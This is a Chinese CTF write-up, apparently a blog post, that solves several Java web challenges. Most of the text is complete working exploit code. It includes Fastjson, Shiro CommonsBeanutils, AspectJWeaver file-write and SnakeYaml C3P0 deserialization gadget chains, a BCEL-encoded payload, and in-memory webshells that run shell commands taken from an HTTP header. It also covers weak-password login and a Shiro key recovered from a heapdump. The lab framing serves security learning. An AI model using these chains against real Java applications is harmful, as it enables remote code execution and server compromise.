public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

image-20250719095834150

注意CB版本为1.8.3

ezJson

fastjson1.2.83

image-20250722194508754

/read路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@RequestMapping({"/read"})
@ResponseBody
public String getUser(String data) throws Exception {
if (data == null) {
throw new IllegalArgumentException("Data cannot be null");
}
byte[] b = Base64.getDecoder().decode(data);
if (b == null) {
throw new IllegalArgumentException("Decoded data cannot be null");
}
InputStream inputStream = new ByteArrayInputStream(b);
if (inputStream == null) {
throw new IllegalArgumentException("Input stream cannot be null");
}
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
Object obj = objectInputStream.readObject();
JSONArray dataArray = new JSONArray();
JSONObject item = new JSONObject();
item.put("code", (Object) 200);
item.put(BindTag.STATUS_VARIABLE_NAME, (Object) "success");
item.put("obj", (Object) JSON.toJSONString(obj));
dataArray.add(item);
return dataArray.toJSONString();

打fastjson原生反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package cn.p0l1st;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;

public class Test2 {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

// public static byte[] genPayload(String cmd) throws Exception{
// ClassPool pool = ClassPool.getDefault();
// CtClass clazz = pool.makeClass("a");
// CtClass superClass = pool.get(AbstractTranslet.class.getName());
// clazz.setSuperclass(superClass);
// CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
// constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
// clazz.addConstructor(constructor);
// clazz.getClassFile().setMajorVersion(49);
// return clazz.toBytecode();
// }
public static byte[] genPayload() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody(
"{\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"Cmd\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
"}"
);
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

public static void main(String[] args) throws Exception{


TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload()});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates,bd);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));

// ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
// objectInputStream.readObject();



}
}

image-20250722205701577

PolarOA2.0

弱口令admin admin123登录

image-20250724171558467

存在端点泄露,actuator/env actuator/heapdump

image-20250724171927101

分析heapdump,找到Shiro key PBgMSEv6Wsc4XVmSJuR60A==

image-20250724172229842

image-20250724172507740

爆破找不到利用链,猜测还是和上一道题一样限制了cookie的字符长度

image-20250724172607803

还是打CB链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
package CB;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;



public class CBMem2 {
public static void main(String[] args) throws Exception {
final TemplatesImpl templates = getTemplate();

final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

queue.add("1");
queue.add("1");

setFieldValue(comparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{templates,templates});

// ==================
// 生成序列化字符串
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode(CodecSupport.toBytes("PBgMSEv6Wsc4XVmSJuR60A=="));//shiro默认密钥
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(aes.encrypt(bytes, key));
}
public static CtClass genPayloadForLinux2() throws NotFoundException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public A() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }", clazz));
// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
public static TemplatesImpl getTemplate() throws Exception {
CtClass clz = genPayloadForLinux2();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

return obj;
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}

}

image-20250724181953823

注意CB版本改成1.9.4

1
2
3
4
5
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.4</version>
</dependency>

一写一个不吱声

题目描述:

clesses,你也许需要知道$JAVA_HOME? Java反序列化漏洞+特殊情况下的springboot任意文件写rce

F12 base64解码

image-20250805111945047

1
2
3
4
小T在学习JAVA的时候遇到了一个问题:SpringBoot的任意文件写如何才能RCE?
我在服务器某个地方创建了一个文!件!夹!,然后在服务器上部署了这个JAVA项目,小T说这个JAVA项目虽然有反序列化漏洞但是你没链子你怎么打,我不信你能RCE。

那么现在请你来试试,怎么才能RCE让小T不吱声呢?

再看依赖,存在aspectjweaver1.9.5,并且/read路由可以直接反序列化

image-20250805112332042

aspectjweavery有任意文件写入,参考AspectJWeaver反序列化利用链

但是上面触发SimpleCache$StoreableCachingMapput方法是通过LazyMapget方法,这里没有CC依赖

我们可以看到UserBean中重写了readObject,这里可以代替CC依赖的LazyMap,并且内容都是可控的

image-20250805114209315

那么就解决了写任意文件链子的问题,但是我们应该往哪里写,写什么?

提示说了,这个Java项目在某个文件夹下,猜测这个文件夹是$JAVA_HOME/jre/classes,我们就可以往里面写一个实现Serializable并且重写readObject方法的恶意类,最后通过反序列化进行RCE

至于为什么是$JAVA_HOME/jre/clesses

根据类的双亲委派模型,类的加载顺序会先从Bootstrap ClassLoader的加载路径中尝试加载,当找不到该类时,才会选择从下一级的ExtClassLoader的加载路径寻找,以此类推到引发加载的类所在的类加载器为止。

我们可以通过System.getProperty("sun.boot.class.path")来看

image-20250805115347178

这里的D:\JavaEnviron\jdk1.8.0_65\jre\classes对应的就是$JAVA_HOME/jre/clesses,我们需要加载的类如果在这个路径下存在就可以被加载

题目环境的$JAVA_HOME可以通过给的镜像名,/usr/lib/jvm/java-8-openjdk-amd64/jre/

注意题目还是不出网,jdk版本小于8u251通过BCEL来回显

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.p0l1st;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class AspectJWeaverExp {
public static void main(String[] args) throws Exception {
//反射获取构造函数
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
con.setAccessible(true);
//实例化对象
HashMap map = (HashMap)con.newInstance("/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/", 1);//路径
Constructor constructor = Class.forName("com.polar.ctf.bean.UserBean").getDeclaredConstructor();
constructor.setAccessible(true);
//反射修改值
Object userBean = constructor.newInstance();
setFieldValue(userBean,"obj",map);
setFieldValue(userBean,"name","EvilEcho.class");
//恶意类
String payload = FiletoBase64("D:\\Project\\JavaSec\\Aspectjweaver\\src\\main\\java\\com\\p0l1st\\EvilEcho.class");
setFieldValue(userBean,"age",payload);

serialize(userBean);

}
public static String FiletoBase64(String filename) throws IOException {
byte[] bytes = Files.readAllBytes(Paths.get(filename));
String encode = Base64.getEncoder().encodeToString(bytes);
return encode;
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws Exception{
ByteArrayOutputStream data=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(data);
oos.writeObject(obj);
oos.flush();
oos.close();
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Method;
import java.util.Base64;

public class EvilEcho implements Serializable {
public static void main(String[] args) {
try {
Class<?> evilClass = EvilEcho.class;
Object evilInstance = evilClass.getDeclaredConstructor().newInstance();
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(evilInstance);
System.out.println(new String(Base64.getEncoder().encode(btout.toByteArray())));
} catch (Exception e) {
e.printStackTrace();
}
}
private void readObject(ObjectInputStream ois) throws Exception {
String code = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$d9w$TU$Y$ff$dd6$c9L$a7SJ$d3$966$y$d2$b2$s$F$S$caN$5b$95$d2$82E$da$82$a4PKA$9dNo$9b$a1$93$9903$v$F$f7$5dq$c3$NE$dc$Q$V$3d$3e$f1$S8z$e0$f8$ec$83$be$f8$ea$93O$fa$e2$7f$m$7e7$93$40$d2$W$b5$e7$f4$bb$f7$7e$fb$9e$f9$e9$ef$efo$C$d8$82o$VT$e1$a0$82$87pH$80$a4$8c$n$F$87qD$c6$b0$84$87$VH$Y$91pT$c1$u$8e$c98$$$e3$R$Z$8f$caxL$86$shc2t$Z$e3$S$b8$e0$98$901$v$p$a5$c0$c0$J$F$f5$98$92a$8a3$z$c3$92a$cb$c8$Ic$te8$S$5c$F$k$b2$CL$x8$85$Z$F$z8$z$e3$8c8$l$X$e0$J$ZO$caxJ$c2$d3$K$da$f0$8c$84g$ZB$5d$86ex$f71TFcG$Y$C$3d$f68g$a8$ed7$y$3e$98M$8fqgH$h3$J$T$ee$b7u$cd$3c$a29$86x$X$90$B$_e$b8$82$a6$db$e9Df$a3$d9$eez$89d$8a$9bf$t$83$dc$a5$9b$F$d5$V$d3$h$Z$ea$faOh$d3Z$c2$d4$ac$c9D$8f$a9$b9n$a7$m$b43$y$$$n8$7c$c2$e4$ba$97$Y$e0$5e$ca$k$cfsl$S$fa$efp$i$Y$3bA$My$caf$B$b6$I$b0U$80m$Cl$X$60$87$A$3b$cb$e5$92$9ecX$93$qW9$ddN$de$d4$8f$ceG$LNkN$3b$b9$d4XB$dc3$a3$f3$8cg$d8$W$d1k$92$9e$a6O$Nh$99$7c$fcTL$J$cfQ$v$a9V$Sz$v$ad$MJ$d2$ce$3a$3a$dfk$88$f4$u$f9$5c$c4$85$$$V$h$Q$97$f0$bc$8a$X$f0$a2$8a$97$f02C$97$edL$c6$dd$8c$b0$3d$e1hi$7e$cav$a6$e2$a7$f8X$5c$b7$z$8f$cfxq$87$9f$ccr$d7$8b$l$f2$cf$k$l$ddg$9b$e3$9c$ca$fd$8a$8aWq$96$a1a$92$7b$F$8en$8f$o$Z$cbz$9c$8aR$3b$x$dd$w$5e$c3$eb$M$Lg$a7$92BP$f1$G$ded$d8$f5$7f$fdIrg$da$9c$d7hu$de$X7c$5b$ae$88$ff$8eg$M$cb$84$e1$99$b8$eb$cb$de$d1Qd$ae$o$e6a$c7$f0$b8$a3$e2$z$e1$e9$ear$81$94$e7e$e2$7d$E$ca$ad$fb$82$7d$5c$a3$9c$94E$e7$XU$c59$bcME$d7$d3$e3$M$92$ed$c6$z$KL$c2$3b$w$de$c5$7b$w$de$c7y$o$O$ef$hT$f1$B$3e$a4$b6I$e8$c4$96$Y3$ac$84$9b$a2$e7$G$5d$c5$F$7cD8$91$W$cf$b4$a8$8f$f3$s$b2$9ea$s$92$bafY$a2$U$XU$7c$8cOT$7c$8a$cf$q$7c$ae$e2$S$be$Q$F$bfL$g$8eu$ab$f8$S_$a9$f8Z$98$KN$98Y$a18$a8$9b$b6EA$d7$cf$d3g$w$ae$e0$h$Ke$f6L14$dfmP$ca$C$lJ9$94$NjV$3d$eb8$dc$f2$8a$ef$86h$ac$7f6$X$f5t$p$a5$af$d0Y$f9$3e$e9$b7$fdTF$ca$d8KHBf$5e$C$95$c2$a4K$kC$e5$8b$ce$9d$b09$g$3b$fd$f2$V$a3$d85$8f$cc$e8$i$99$d8$bf$z$8c$90aM$dbS$94$da$9d$d1$b9$5bct$$$w6$dfn$a9$p$9fz$b9nj$O$l$_$faV$e3r$af$5b$d7$b9$eb$g$fe$ee$8b$k$V$L$b3$b4$e3N$bb$kO$fbCp$d0$b13$dc$f1N3$ac$f9$8f$3c$dc$5e$3e$d5$9e$7d8CB$3d$9a$Y$87$f2j$ddf$92$c5$yj$86E$J$5eR$aa$b8$t$a59I1$R$96$ce$3bcG$89Q$94$d5$afD$fd$dcJv$W$fb8$8f$3a$94$b5$3c$p$5d$i$d8$e2$a3$b1L$ac$80$s$c1$A$9f$e14$r$d1$e8$3c$x$b4T$82R$m$b2Un$aa$80dX$40$a6$f6Y$99$acG$92$5c$a3$ac5$V$cd$Zv$a2$84$40$e2$cd$d1y$J$o$fbj$d6$e5$bd$dc4$d2bo0$ac$bd$7b$aeK$HV$EaQ$bfSQ$c9$8b$fcN$lr4$9dbn$89$c6$ca$a3$w$92$f6$98$3cM$b3$d4$89V$ac$a7$l$5c$f1W$B$s$96$3a$c1$E$bd$St2$3a$83m$d7$c0$ae$e6$c9$h$J$86$f2$c8$Q$da$J$aa$3e$D6a3$9d2$7d$v$U$84$x$be$p$95$d5$A$d3$af$a3$o$87$cap$m$87$e0$fe$b6p$a8$f2$G$a4$i$e4$feu$8cnU9$u$D$F$86j$9fA$z2$b4$85k$K$d7$c1u$eb$L$bc$j$81$N$b7$af$c1$82$dc$C$92$L$d7$fa$ac$L$3bB$Fl$9d$c0$86$D$84$j$a9$M$d7$t$FI$8aH$e4DC$q$e4$c3H$a0$a8I$8eH$91$m$b1V$Rk$p$b1$w$3f$a2$be$a3$wt$83$a0$S$5et$jM94$87$p9$y$be$80pD$R$3c$R$r$Q$5e$92$bc$82Z$f1$5c$9a$7f$$$p$Y$8cT$r$pr$O$f7$84$97$97Z$8e$c8$be$f2$l$d02r$j$ad$R$r$87$V9$ac$bc$86U$e1$d59$ac$c9a$ad0$3a$ecKF$L$91D$e4$82$7b$F$7cl$O$fe$K$aa$f6$b7$e5$b0n$f8$aa$u$C$ha$c7$e8$L$a82_$o$HK$JVQy$U4Q$ZZ$nvw$Nv$60$BzP$8bA$y$c4$I$ea$60$p$8c$b3$f4$e9u$O$N8$8fF$5c$c6$oP$bc$b8$89f$fc$8c$I$7e$c5b$fcF$ba$7e$c72$fc$81$e5$f8$L$z$y$86V$d6$8d$Vl$E$ab$c9$e2Jv$i$ab$d8$Y$d6$e4$db$e1$M$d9Q$d9$A$b6b$h$bd$9a$d8nl$t$9b$8c$qv$60$t$3a$a8$81z$d8$ot$S$ae$S$83$ac$g$5d$84$L$60$84$dc$bf$97nA$f2$e7O$dcG$d4$Qy$f5$L$ee$a7$9bD$3e$e5$b0$8b$a82yv$J$dd$d8Mq$dd$c4E$8a$a3$X$KY$Pb$P$f6$92$b5$H$e8$7f$h$C$b7$c8$e1j$J$7d$S$f6Ix$b0$I$fd$8b$7f$df$_$a1$l$a8$beEY$a2$b4I$Y$I$92$87$83$f9$f6$3e$f0$P$a0V$dbq$f1$K$A$A";
//new ClassLoader().loadClass(code).newInstance();
ClassLoader classLoader = (ClassLoader) Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader").getDeclaredConstructor().newInstance();


Method loadClassMethod = classLoader.getClass().getMethod("loadClass", String.class);


Class<?> loadedClass = (Class<?>) loadClassMethod.invoke(classLoader, code);
loadedClass.newInstance();
}
}

这里的BCEL回显可以用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import java.lang.reflect.Method;
import java.util.Scanner;

public class Shell {
static {
try {
Class v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method v1 = v0.getMethod("getRequestAttributes");
Object v2 = v1.invoke(null);
v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
v1 = v0.getMethod("getResponse");
Method v3 = v0.getMethod("getRequest");
Object v4 = v1.invoke(v2);
Object v5 = v3.invoke(v2);
Method v6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method v7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
v7.setAccessible(true);
v6.setAccessible(true);
Object v8 = v6.invoke(v4);
String v9 = (String) v7.invoke(v5,"cmd"); //请求头传参
String[] v10 = new String[3];
if (System.getProperty("os.name").toUpperCase().contains("WIN")){
v10[0] = "cmd";
v10[1] = "/c";
}else {
v10[0] = "/bin/sh";
v10[1] = "-c";
}
v10[2] = v9;
v8.getClass().getDeclaredMethod("println",String.class).invoke(v8,(new Scanner(Runtime.getRuntime().exec(v10).getInputStream())).useDelimiter("\\A").next());
v8.getClass().getDeclaredMethod("flush").invoke(v8);
v8.getClass().getDeclaredMethod("clone").invoke(v8);
} catch (Exception var11) {
var11.getStackTrace();
}
}
}

image-20250805150644438

[!NOTE]

这里先传入我们的Exp写class,然后再传入我们的EvilEcho,对其进行反序列化从而触发readObject执行我们的回显马

并且EvilEcho不要有包名

SnakeYaml

/load路由存在snakeyaml反序列化

1
2
3
4
5
6
7
8
public class LoadController {
@PostMapping({"/load"})
public Object load(String data) {
System.out.println("Received data: " + data);
Yaml yaml = new Yaml();
return yaml.load(data);
}
}

依赖

image-20250805184852707

结合题目描述,打C3P0二次反序列化,无回显不出网,还需要打内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class SnakeYaml_C3p0 {
public static Map CC11() throws Exception {
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = getTemplate();
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> innerMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap, templates);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "bbb");
innerMap.remove(templates);
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(innerMap,invokerTransformer);
return hashMap;
}
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
Field classField = clazz.getDeclaredField(fieldName);
classField.setAccessible(true);
classField.set(obj, fieldValue);
}
public static CtClass genPayloadForLinux() throws CannotCompileException, NotFoundException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }", clazz));
// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}

public static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl getTemplate() throws Exception {

CtClass clz = genPayloadForLinux();
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl obj = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
return obj;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}

private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}

//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}

public static void main(String[] args) throws Exception {
String hex = toHexAscii(tobyteArray(CC11()));
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"userOverridesAsString: HexAsciiSerializedMap:"+hex+";";
System.out.println(poc);
}
}

image-20250805192510236

image-20250805192539599

再来看CC6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class SnakeYaml_C3P0_CC6Exp {

public static void main(String[] args) throws Exception {
String hex = toHexAscii(tobyteArray(CC6()));
String data = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}";
System.out.println(data);
}

public static Object CC6() throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Project\\JavaSec\\C3P0\\target\\classes\\com\\p0l1st\\SpringControllerMemShell3.class"));
TemplatesImpl templates = (TemplatesImpl) getTemplate(bytes);

Transformer transformer = new InvokerTransformer("getClass", null, null);
Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(), transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "p0l1st");

lazyMap.remove(templates);

setFieldValue(transformer, "iMethodName", "newTransformer");

return hashMap;
}

public static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl getTemplate(byte[] bytes) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "p0l1st");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception {
Field classField = obj.getClass().getDeclaredField(fieldName);
classField.setAccessible(true);
classField.set(obj, fieldValue);
}

public static byte[] tobyteArray(Object o) throws Exception {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

public static String toHexAscii(byte[] bytes) {
int len = bytes.length;
StringBuilder sb = new StringBuilder(len * 2);
for (byte b : bytes) {
int ub = b & 0xff;
String hex = Integer.toHexString(ub).toUpperCase();
if (hex.length() < 2) sb.append('0');
sb.append(hex);
}
return sb.toString();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
